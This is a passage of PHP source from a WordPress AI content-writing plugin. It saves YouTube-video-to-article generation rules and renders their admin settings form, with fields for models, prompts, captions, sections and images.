trim($data2['topic_images'][$i]); $bundle[] = trim($data2['sections_role'][$i]); $bundle[] = trim($data2['topic_videos'][$i]); $bundle[] = trim($data2['rule_description'][$i]); $bundle[] = trim($data2['custom_shortcodes'][$i]); $bundle[] = trim($data2['strip_by_regex'][$i]); $bundle[] = trim($data2['replace_regex'][$i]); $bundle[] = trim($data2['strip_by_regex_prompts'][$i]); $bundle[] = trim($data2['replace_regex_prompts'][$i]); $bundle[] = trim($data2['run_regex_on'][$i]); $bundle[] = trim($data2['max_links'][$i]); $bundle[] = trim($data2['link_post_types'][$i]); $bundle[] = trim($data2['enable_toc'][$i]); $bundle[] = trim($data2['title_toc'][$i]); $bundle[] = trim($data2['qa_prompt'][$i]); $bundle[] = trim($data2['topic_qa_model'][$i]); $bundle[] = trim($data2['enable_qa'][$i]); $bundle[] = trim($data2['title_qa'][$i]); $bundle[] = trim($data2['title_outro'][$i]); $bundle[] = trim($data2['link_type'][$i]); $bundle[] = trim($data2['link_list'][$i]); $bundle[] = trim($data2['skip_inexist'][$i]); $bundle[] = trim($data2['max_caption'][$i]); $bundle[] = trim($data2['global_prepend'][$i]); $bundle[] = trim($data2['global_append'][$i]); $bundle[] = trim($data2['search_query_repetition'][$i]); $bundle[] = trim($data2['img_all_headings'][$i]); $bundle[] = trim($data2['heading_img_location'][$i]); $bundle[] = trim($data2['days_no_run'][$i]); $bundle[] = trim($data2['no_random'][$i]); $bundle[] = trim($data2['overwrite_existing'][$i]); $bundle[] = trim($data2['link_nofollow'][$i]); $bundle[] = trim($data2['parent_id'][$i]); $bundle[] = trim($data2['rule_unique_id'][$i]); $bundle[] = trim($data2['image_model'][$i]); $bundle[] = isset($data2['assistant_id'][$i]) ? trim($data2['assistant_id'][$i]) : ''; $rules[$offset + $cont] = $bundle; $cont++; $cat_cont++; } } while($cont < $init_rules_per_page) { if(isset($rules[$offset + $cont])) { $rules[$offset + $cont] = false; } $cont = $cont + 1; $cat_cont++; } $rules = array_values(array_filter($rules)); } $final_count = count($rules); if($final_count > $initial_count) { $add = true; } elseif($final_count < $initial_count) { $scad = true; } update_option('aiomatic_youtube_list', $rules, false); if(count($rules) % $rules_per_page === 1 && $add === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } elseif(count($rules) != 0 && count($rules) % $rules_per_page === 0 && $scad === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } } function aiomatic_expand_rules_youtube() { $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); if (!get_option('aiomatic_running_list')) { $running = array(); } else { $running = get_option('aiomatic_running_list'); } $GLOBALS['wp_object_cache']->delete('aiomatic_youtube_list', 'options'); $rules = get_option('aiomatic_youtube_list'); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { $cat_args = array( "orderby" => "name", "hide_empty" => 0, "order" => "ASC" ); $categories = get_categories($cat_args); $posted_items = array(); $post_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish', 'draft', 'pending', 'trash', 'private', 'future' ), 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'meta_key' => 'aiomatic_parent_rule', 'fields' => 'ids', 'offset' => $postOffset ); $got_me = get_posts($query); $post_list = array_merge($post_list, $got_me); $paged++; }while(!empty($got_me)); wp_suspend_cache_addition(true); foreach ($post_list as $post) { $rule_id = get_post_meta($post, 'aiomatic_parent_rule', true); if ($rule_id != '') { if(stristr($rule_id, '-')) { $exp = explode('-', $rule_id); if(isset($exp[0]) && isset($exp[1]) && $exp[0] == '1') { $posted_items[] = $exp[1]; } } } } wp_suspend_cache_addition(false); $counted_vals = array_count_values($posted_items); if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $unlocker = get_option('aiomatic_minute_running_unlocked', false); $rules_per_page = get_option('aiomatic_posts_per_page', 12); foreach ($rules as $request => $bundle[]) { if(($cont < ($curent_page - 1) * $rules_per_page) || ($cont >= $curent_page * $rules_per_page)) { $cont++; continue; } $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}} $schedule = $array_my_values[0]; $active = $array_my_values[1]; $last_run = $array_my_values[2]; $max = $array_my_values[3]; $status = $array_my_values[4]; $def_type = $array_my_values[5]; $post_user_name = $array_my_values[6]; $default_tags = $array_my_values[7]; $default_category = $array_my_values[8]; $auto_categories = $array_my_values[9]; $auto_tags = $array_my_values[10]; $enable_comments = $array_my_values[11]; $image_url = $array_my_values[12]; $url_list = $array_my_values[13]; $enable_pingback = $array_my_values[14]; $post_format = $array_my_values[15]; $custom_fields = $array_my_values[16]; $custom_tax = $array_my_values[17]; $temperature = $array_my_values[18]; $top_p = $array_my_values[19]; $presence_penalty = $array_my_values[20]; $frequency_penalty = $array_my_values[21]; $royalty_free = $array_my_values[22]; $max_tokens = $array_my_values[23]; $max_seed_tokens = $array_my_values[24]; $max_continue_tokens = $array_my_values[25]; $post_prepend = $array_my_values[26]; $post_append = $array_my_values[27]; $enable_ai_images = $array_my_values[28]; $ai_command_image = $array_my_values[29]; $image_size = $array_my_values[30]; $wpml_lang = $array_my_values[31]; $remove_default = $array_my_values[32]; $strip_title = $array_my_values[33]; $title_once = $array_my_values[34]; $category_model = $array_my_values[35]; $category_ai_command = $array_my_values[36]; $tag_model = $array_my_values[37]; $tag_ai_command = $array_my_values[38]; $min_time = $array_my_values[39]; $max_time = $array_my_values[40]; $skip_spin = $array_my_values[41]; $skip_translate = $array_my_values[42]; $default_lang = $array_my_values[43]; $ai_titles = $array_my_values[44]; $post_sections_list = $array_my_values[45]; $content_language = $array_my_values[46]; $writing_style = $array_my_values[47]; $writing_tone = $array_my_values[48]; $title_prompt = $array_my_values[49]; $sections_prompt = $array_my_values[50]; $content_prompt = $array_my_values[51]; $excerpt_prompt = $array_my_values[52]; $section_count = $array_my_values[53]; $paragraph_count = $array_my_values[54]; $topic_title_model = $array_my_values[55]; $topic_sections_model = $array_my_values[56]; $topic_content_model = $array_my_values[57]; $topic_excerpt_model = $array_my_values[58]; $single_content_call = $array_my_values[59]; $intro_prompt = $array_my_values[60]; $topic_intro_model = $array_my_values[61]; $outro_prompt = $array_my_values[62]; $topic_outro_model = $array_my_values[63]; $topic_images = $array_my_values[64]; $sections_role = $array_my_values[65]; $topic_videos = $array_my_values[66]; $rule_description = $array_my_values[67]; $custom_shortcodes = $array_my_values[68]; $strip_by_regex = $array_my_values[69]; $replace_regex = $array_my_values[70]; $strip_by_regex_prompts = $array_my_values[71]; $replace_regex_prompts = $array_my_values[72]; $run_regex_on = $array_my_values[73]; $max_links = $array_my_values[74]; $link_post_types = $array_my_values[75]; $enable_toc = $array_my_values[76]; $title_toc = $array_my_values[77]; $qa_prompt = $array_my_values[78]; $topic_qa_model = $array_my_values[79]; $enable_qa = $array_my_values[80]; $title_qa = $array_my_values[81]; $title_outro = $array_my_values[82]; $link_type = $array_my_values[83]; $link_list = $array_my_values[84]; $skip_inexist = $array_my_values[85]; $max_caption = $array_my_values[86]; $global_prepend = $array_my_values[87]; $global_append = $array_my_values[88]; $search_query_repetition= $array_my_values[89]; $img_all_headings = $array_my_values[90]; $heading_img_location = $array_my_values[91]; $days_no_run = $array_my_values[92]; $no_random = $array_my_values[93]; $overwrite_existing = $array_my_values[94]; $link_nofollow = $array_my_values[95]; $parent_id = $array_my_values[96]; $rule_unique_id = $array_my_values[97]; $image_model = $array_my_values[98]; $assistant_id = $array_my_values[99]; if(empty($rule_unique_id)) { $rule_unique_id = $cont; } if (isset($counted_vals[$rule_unique_id])) { $generated_posts = $counted_vals[$rule_unique_id]; } else { $generated_posts = 0; } if($rule_description == '') { $rule_description = $cont; } $name = md5(get_bloginfo()); wp_add_inline_script($name . '-footer-script', 'createAdmin(' . esc_html($cont) . ');createModeSelect(' . esc_html($cont) . ');hideLinks(' . esc_html($cont) . ');', 'after'); $output .= '<tr> <td class="cr_short_td"><input type="text" name="aiomatic_youtube_list[rule_description][]" id="rule_description' . esc_html($cont) . '" class="cr_center" placeholder="Rule ID" value="' . esc_html($rule_description) . '" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_youtube_list[url_list][]" placeholder="https://www.youtube.com/watch?v=..." class="cr_width_full">' . htmlspecialchars($url_list) . '</textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" placeholder="# h" name="aiomatic_youtube_list[schedule][]" max="8765812" value="' . esc_attr($schedule) . '" class="cr_width_60" required></td> <td class="cr_comm_td"><input type="number" step="1" min="0" placeholder="#" name="aiomatic_youtube_list[max][]" value="' . esc_attr($max) . '" class="cr_width_60" required></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr' . esc_html($cont) . '" value="Settings"> <div id="mymodalfzr' . esc_html($cont) . '" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close' . esc_html($cont) . '" class="codeclosefzr">×</span> <h2>' . esc_html__('Rule', 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_color_white">ID ' . esc_html($cont) . '</span> ' . esc_html__('Advanced Settings', 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"><tr><td colspan="2"><h3>' . esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer') . ':</h3> </td></tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer') . '</b> </td> <td><select id="assistant_id' . esc_html($cont) . '" name="aiomatic_youtube_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected(\'' . esc_html($cont) . '\');">'; if($all_assistants === false) { $output .= '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { $output .= '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $output .= '<option value=""'; if($assistant_id == ''){$output .= ' selected';} $output .= '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { $output .= '<option value="' . $myassistant->ID .'"'; if($assistant_id == $myassistant->ID){$output .= ' selected';} $output .= '>' . esc_html($myassistant->post_title); $output .= '</option>'; } } } $output .= '</select> </td> </tr> <tr><td colspan="2"><h3>' . esc_html__('YouTube Video Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Input a comma separated list of video captions prefered languages to use for the %%video_caption%% shortcode. Please use a comma separated list of 2 character language codes. Ex: en,es,hu,br. The plugin will use the fisrt language in the list that matches. If you leave this field blank, the default language caption will be imported for each video.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Video Caption Preferred Languages", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_youtube_list[default_lang][]" value="' . esc_attr($default_lang) . '" placeholder="Please insert a language list for video captions" class="cr_width_full"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum length of captions in prompts. This is useful to have, when captions can be very long.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Video Caption Maximum Character Length In Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" name="aiomatic_youtube_list[max_caption][]" value="' . esc_attr($max_caption) . '" placeholder="Caption maximum length" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Posting Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to use AI generated titles for the posts created by the plugin. If not, the YouTube video title will be used.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Use AI Generated Post Titles", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="ai_titles" name="aiomatic_youtube_list[ai_titles][]"'; if($ai_titles == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Sections List (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[post_sections_list][]" placeholder="Post sections list (one per line)" class="cr_width_full">' . esc_textarea($post_sections_list) . '</textarea> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number Of Content Sections To Generate", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="section_count' . esc_html($cont) . '" name="aiomatic_youtube_list[section_count][]" placeholder="3-4" class="cr_width_full" value="' . esc_attr($section_count) . '"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select what you want to do with sections in articles.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Sections To Content As", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_youtube_list[sections_role][]"> <option value="h2"'; if ($sections_role == 'h2') { $output .= ' selected'; } $output .= '>' . esc_html__("h2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="h3"'; if ($sections_role == 'h3') { $output .= ' selected'; } $output .= '>' . esc_html__("h3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="b"'; if ($sections_role == 'b') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="i"'; if ($sections_role == 'i') { $output .= ' selected'; } $output .= '>' . esc_html__("Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="bi"'; if ($sections_role == 'bi') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="p"'; if ($sections_role == 'p') { $output .= ' selected'; } $output .= '>' . esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="x"'; if ($sections_role == 'x') { $output .= ' selected'; } $output .= '>' . esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="no"'; if ($sections_role == 'no') { $output .= ' selected'; } $output .= '>' . esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number Of Paragraphs Per Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="paragraph_count' . esc_html($cont) . '" name="aiomatic_youtube_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="' . esc_attr($paragraph_count) . '"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number of Images To Add To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_youtube_list[topic_images][]" value="' . esc_attr($topic_images) . '" placeholder="Number of images" class="cr_width_full"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add an image to each of the creating headings from the article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add An Image To Each Heading Of The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="img_all_headings" name="aiomatic_youtube_list[img_all_headings][]"'; if($img_all_headings == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the location of the heading images.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Heading Image Location", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="heading_img_location' . esc_html($cont) . '" name="aiomatic_youtube_list[heading_img_location][]" class="cr_width_full"> <option value="top"'; if ($heading_img_location == 'top') { $output .= ' selected'; } $output .= '>' . esc_html__("Top of the section", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="heading"'; if ($heading_img_location == 'heading') { $output .= ' selected'; } $output .= '>' . esc_html__("Under the heading text", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="bottom"'; if ($heading_img_location == 'bottom') { $output .= ' selected'; } $output .= '>' . esc_html__("Bottom of the section", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="random"'; if ($heading_img_location == 'random') { $output .= ' selected'; } $output .= '>' . esc_html__("Random", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you would like to add the source YouTube video to the end of the created article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add The YouTube Video To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="topic_videos" name="aiomatic_youtube_list[topic_videos][]"'; if($topic_videos == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_outro' . esc_html($cont) . '" name="aiomatic_youtube_list[title_outro][]" type="text" placeholder="Optional" class="coderevolution_gutenberg_input" value="' . esc_attr($title_outro) . '"/> </div> </td></tr> <tr><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article Table Of Contents Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input type="checkbox" id="enable_toc" name="aiomatic_youtube_list[enable_toc][]"'; if($enable_toc == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Table Of Contents Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input id="title_toc' . esc_html($cont) . '" name="aiomatic_youtube_list[title_toc][]" type="text" placeholder="Table of Contents" class="coderevolution_gutenberg_input" value="' . esc_attr($title_toc) . '"/> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article Q&A Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_qa" name="aiomatic_youtube_list[enable_qa][]"'; if($enable_qa == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Q&A Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_qa' . esc_html($cont) . '" name="aiomatic_youtube_list[title_qa][]" type="text" placeholder="Q&A" class="coderevolution_gutenberg_input" value="' . esc_attr($title_qa) . '"/> </div> </td></tr> <tr><td colspan="2"><h4>' . esc_html__('Content Parameters', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Content Language", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="content_language' . esc_html($cont) . '" name="aiomatic_youtube_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="' . esc_attr($content_language) . '"/> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Style", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_style' . esc_html($cont) . '" name="aiomatic_youtube_list[writing_style][]" type="text" list="writing_styles" placeholder="Created content writing style" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_style) . '"/> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Tone", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_tone' . esc_html($cont) . '" name="aiomatic_youtube_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_tone) . '"/> </div> </td></tr> <tr><td colspan="2"><h4>' . esc_html__('Prompts', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Title Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">' . esc_textarea($title_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Title Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[topic_title_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_title_model)) { $topic_title_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_title_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Intro. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by 